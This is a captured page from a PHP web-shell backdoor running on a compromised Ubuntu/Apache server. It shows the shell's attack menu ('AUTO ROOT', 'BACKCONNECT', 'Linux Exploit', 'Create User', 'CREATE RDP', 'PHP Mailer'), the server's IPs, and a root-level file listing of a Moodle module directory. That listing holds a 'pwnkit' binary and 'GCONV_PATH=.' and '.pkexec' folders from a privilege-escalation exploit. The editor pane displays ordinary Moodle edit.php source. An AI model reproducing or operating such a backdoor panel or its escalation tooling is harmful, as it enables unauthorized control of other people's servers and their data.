Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
mod /
data /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
field
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
preset
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
css.php
1.56
KB
-rwxrwxrwx
data.js
4.33
KB
-rwxrwxrwx
edit.php
11.51
KB
-rwxrwxrwx
export.php
4.1
KB
-rwxrwxrwx
export_form.php
3.43
KB
-rwxrwxrwx
field.php
13.65
KB
-rwxrwxrwx
import.php
8.24
KB
-rwxrwxrwx
import_form.php
1.26
KB
-rwxrwxrwx
index.php
4.72
KB
-rwxrwxrwx
js.php
1.56
KB
-rwxrwxrwx
lib.php
123.92
KB
-rwxrwxrwx
locallib.php
20.36
KB
-rwxrwxrwx
mod_form.php
3.51
KB
-rwxrwxrwx
preset.php
10.76
KB
-rwxrwxrwx
preset_form.php
2.9
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
renderer.php
4.08
KB
-rwxrwxrwx
rsslib.php
7
KB
-rwxrwxrwx
settings.php
606
B
-rwxrwxrwx
styles.css
2.28
KB
-rwxrwxrwx
tabs.php
5.24
KB
-rwxrwxrwx
templates.php
13.06
KB
-rwxrwxrwx
version.php
1.2
KB
-rwxrwxrwx
view.php
34.92
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : edit.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This file is part of the Database module for Moodle * * @copyright 2005 Martin Dougiamas http://dougiamas.com * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @package mod-data */ require_once('../../config.php'); require_once('lib.php'); require_once("$CFG->libdir/rsslib.php"); require_once("$CFG->libdir/form/filemanager.php"); $id = optional_param('id', 0, PARAM_INT); // course module id $d = optional_param('d', 0, PARAM_INT); // database id $rid = optional_param('rid', 0, PARAM_INT); //record id $cancel = optional_param('cancel', '', PARAM_RAW); // cancel an add $mode ='addtemplate'; //define the mode for this page, only 1 mode available $url = new moodle_url('/mod/data/edit.php'); if ($rid !== 0) { $url->param('rid', $rid); } if ($cancel !== '') { $url->param('cancel', $cancel); } if ($id) { $url->param('id', $id); $PAGE->set_url($url); if (! $cm = get_coursemodule_from_id('data', $id)) { print_error('invalidcoursemodule'); } if (! $course = $DB->get_record('course', array('id'=>$cm->course))) { print_error('coursemisconf'); } if (! $data = $DB->get_record('data', array('id'=>$cm->instance))) { print_error('invalidcoursemodule'); } } else { $url->param('d', $d); $PAGE->set_url($url); if (! $data = $DB->get_record('data', array('id'=>$d))) { print_error('invalidid', 'data'); } if (! $course = $DB->get_record('course', array('id'=>$data->course))) { print_error('coursemisconf'); } if (! $cm = get_coursemodule_from_instance('data', $data->id, $course->id)) { print_error('invalidcoursemodule'); } } require_login($course, false, $cm); if (isguestuser()) { redirect('view.php?d='.$data->id); } $context = context_module::instance($cm->id); /// If it's hidden then it doesn't show anything. :) if (empty($cm->visible) and !has_capability('moodle/course:viewhiddenactivities', $context)) { $strdatabases = get_string("modulenameplural", "data"); $PAGE->set_title(format_string($data->name)); $PAGE->set_heading(format_string($course->fullname)); echo $OUTPUT->header(); notice(get_string("activityiscurrentlyhidden")); } /// Can't use this if there are no fields if (has_capability('mod/data:managetemplates', $context)) { if (!$DB->record_exists('data_fields', array('dataid'=>$data->id))) { // Brand new database! redirect($CFG->wwwroot.'/mod/data/field.php?d='.$data->id); // Redirect to field entry } } if ($rid) { // When editing an existing record, we require the session key require_sesskey(); } // Get Group information for permission testing and record creation $currentgroup = groups_get_activity_group($cm); $groupmode = groups_get_activity_groupmode($cm); if (!has_capability('mod/data:manageentries', $context)) { if ($rid) { // User is editing an existing record if (!data_isowner($rid) || data_in_readonly_period($data)) { print_error('noaccess','data'); } } else if (!data_user_can_add_entry($data, $currentgroup, $groupmode, $context)) { // User is trying to create a new record print_error('noaccess','data'); } } if ($cancel) { redirect('view.php?d='.$data->id); } /// RSS and CSS and JS meta if (!empty($CFG->enablerssfeeds) && !empty($CFG->data_enablerssfeeds) && $data->rssarticles > 0) { $courseshortname = format_string($course->shortname, true, array('context' => context_course::instance($course->id))); $rsstitle = $courseshortname . ': ' . format_string($data->name); rss_add_http_header($context, 'mod_data', $data, $rsstitle); } if ($data->csstemplate) { $PAGE->requires->css('/mod/data/css.php?d='.$data->id); } if ($data->jstemplate) { $PAGE->requires->js('/mod/data/js.php?d='.$data->id, true); } $possiblefields = $DB->get_records('data_fields', array('dataid'=>$data->id), 'id'); foreach ($possiblefields as $field) { if ($field->type == 'file' || $field->type == 'picture') { require_once($CFG->dirroot.'/repository/lib.php'); break; } } /// Define page variables $strdata = get_string('modulenameplural','data'); if ($rid) { $PAGE->navbar->add(get_string('editentry', 'data')); } $PAGE->set_title($data->name); $PAGE->set_heading($course->fullname); /// Process incoming data for adding/updating records if ($datarecord = data_submitted() and confirm_sesskey()) { $ignorenames = array('MAX_FILE_SIZE','sesskey','d','rid','saveandview','cancel'); // strings to be ignored in input data if ($rid) { /// Update some records /// All student edits are marked unapproved by default $record = $DB->get_record('data_records', array('id'=>$rid)); /// reset approved flag after student edit if (!has_capability('mod/data:approve', $context)) { $record->approved = 0; } $record->groupid = $currentgroup; $record->timemodified = time(); $DB->update_record('data_records', $record); /// Update all content $field = NULL; foreach ($datarecord as $name => $value) { if (!in_array($name, $ignorenames)) { $namearr = explode('_',$name); // Second one is the field id if (empty($field->field) || ($namearr[1] != $field->field->id)) { // Try to reuse classes $field = data_get_field_from_id($namearr[1], $data); } if ($field) { $field->update_content($rid, $value, $name); } } } add_to_log($course->id, 'data', 'update', "view.php?d=$data->id&rid=$rid", $data->id, $cm->id); redirect($CFG->wwwroot.'/mod/data/view.php?d='.$data->id.'&rid='.$rid); } else { /// Add some new records ///Empty form checking - you can't submit an empty form! $emptyform = true; // assume the worst foreach ($datarecord as $name => $value) { if (!in_array($name, $ignorenames)) { $namearr = explode('_', $name); // Second one is the field id if (empty($field->field) || ($namearr[1] != $field->field->id)) { // Try to reuse classes $field = data_get_field_from_id($namearr[1], $data); } if ($field->notemptyfield($value, $name)) { $emptyform = false; break; // if anything has content, this form is not empty, so stop now! } } } if ($emptyform){ //nothing gets written to database echo $OUTPUT->notification(get_string('emptyaddform','data')); } if (!$emptyform && $recordid = data_add_record($data, $currentgroup)) { //add instance to data_record /// Insert a whole lot of empty records to make sure we have them $fields = $DB->get_records('data_fields', array('dataid'=>$data->id)); foreach ($fields as $field) { $content = new stdClass(); $content->recordid = $recordid; $content->fieldid = $field->id; $DB->insert_record('data_content',$content); } /// For each field in the add form, add it to the data_content. foreach ($datarecord as $name => $value){ if (!in_array($name, $ignorenames)) { $namearr = explode('_', $name); // Second one is the field id if (empty($field->field) || ($namearr[1] != $field->field->id)) { // Try to reuse classes $field = data_get_field_from_id($namearr[1], $data); } if ($field) { $field->update_content($recordid, $value, $name); } } } add_to_log($course->id, 'data', 'add', "view.php?d=$data->id&rid=$recordid", $data->id, $cm->id); if (!empty($datarecord->saveandview)) { redirect($CFG->wwwroot.'/mod/data/view.php?d='.$data->id.'&rid='.$recordid); } } } } // End of form processing /// Print the page header echo $OUTPUT->header(); groups_print_activity_menu($cm, $CFG->wwwroot.'/mod/data/edit.php?d='.$data->id); echo $OUTPUT->heading(format_string($data->name)); /// Print the tabs $currenttab = 'add'; if ($rid) { $editentry = true; //used in tabs } include('tabs.php'); /// Print the browsing interface $patterns = array(); //tags to replace $replacement = array(); //html to replace those yucky tags //form goes here first in case add template is empty echo '<form enctype="multipart/form-data" action="edit.php" method="post">'; echo '<div>'; echo '<input name="d" value="'.$data->id.'" type="hidden" />'; echo '<input name="rid" value="'.$rid.'" type="hidden" />'; echo '<input name="sesskey" value="'.sesskey().'" type="hidden" />'; echo $OUTPUT->box_start('generalbox boxaligncenter boxwidthwide'); if (!$rid){ echo $OUTPUT->heading(get_string('newentry','data'), 2); } /****************************************** * Regular expression replacement section * ******************************************/ if ($data->addtemplate){ $possiblefields = $DB->get_records('data_fields', array('dataid'=>$data->id), 'id'); $patterns = array(); $replacements = array(); ///then we generate strings to replace foreach ($possiblefields as $eachfield){ $field = data_get_field($eachfield, $data); $patterns[]="[[".$field->field->name."]]"; $replacements[] = $field->display_add_field($rid); $patterns[]="[[".$field->field->name."#id]]"; $replacements[] = 'field_'.$field->field->id; } $newtext = str_ireplace($patterns, $replacements, $data->{$mode}); } else { //if the add template is not yet defined, print the default form! echo data_generate_default_template($data, 'addtemplate', $rid, true, false); $newtext = ''; } echo $newtext; echo '<div class="mdl-align"><input type="submit" name="saveandview" value="'.get_string('saveandview','data').'" />'; if ($rid) { echo ' <input type="submit" name="cancel" value="'.get_string('cancel').'" onclick="javascript:history.go(-1)" />'; } else { if ((!$data->maxentries) || has_capability('mod/data:manageentries', $context) || (data_numentries($data) < ($data->maxentries - 1))) { echo ' <input type="submit" value="'.get_string('saveandadd','data').'" />'; } } echo '</div>'; echo $OUTPUT->box_end(); echo '</div></form>'; /// Finish the page // Print the stuff that need to come after the form fields. if (!$fields = $DB->get_records('data_fields', array('dataid'=>$data->id))) { print_error('nofieldindatabase', 'data'); } foreach ($fields as $eachfield) { $field = data_get_field($eachfield, $data); $field->print_after_form(); } echo $OUTPUT->footer();
Close